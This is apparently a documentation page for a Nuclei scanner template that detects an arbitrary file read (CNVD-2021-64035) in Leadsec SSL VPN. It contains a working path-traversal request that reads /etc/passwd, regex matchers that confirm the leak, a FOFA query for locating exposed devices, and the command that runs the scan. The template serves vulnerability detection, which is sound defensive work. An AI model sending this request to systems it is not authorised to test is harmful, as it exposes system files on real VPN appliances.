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Nuclei Templates

Leadsec VPN - Arbitrary File Read

ID: CNVD-2021-64035

Severity: high

Author: xiaoWangSec

Tags: cnvd,cnvd2024,lfi,leadsec,vpn

Description

Section titled “Description”

There is an information leakage vulnerability in the SSL VPN of Beijing Wangyuxingyun Information Technology Co., Ltd., and attackers can use the vulnerability to obtain sensitive information.

YAML Source

Section titled “YAML Source”
id: CNVD-2021-64035


info:
  name: Leadsec VPN - Arbitrary File Read
  author: xiaoWangSec
  severity: high
  description: |
    There is an information leakage vulnerability in the SSL VPN of Beijing Wangyuxingyun Information Technology Co., Ltd., and attackers can use the vulnerability to obtain sensitive information.
  reference:
    - https://avd.aliyun.com/detail?id=AVD-2021-888761
    - https://www.cnvd.org.cn/flaw/show/CNVD-2021-64035
  metadata:
    verified: true
    max-request: 1
    fofa-query: icon_hash="-15980305"
  tags: cnvd,cnvd2024,lfi,leadsec,vpn


http:
  - raw:
      - |
        GET /vpn/user/download/client?ostype=../../../../../../../../../etc/passwd HTTP/1.1
        Host: {{Hostname}}


    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"


      - type: word
        part: header
        words:
          - "appframe"


      - type: status
        status:
          - 200
# digest: 490a0046304402204f34570306254fdc8902e24a004fa0bf33c28253e040e0b48f15cecbef1d9c9802204c23ad1e526e9777a0ce204fdf0ca9b64adbd3b20a2e9548b787333007131739:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cnvd/2021/CNVD-2021-64035.yaml"

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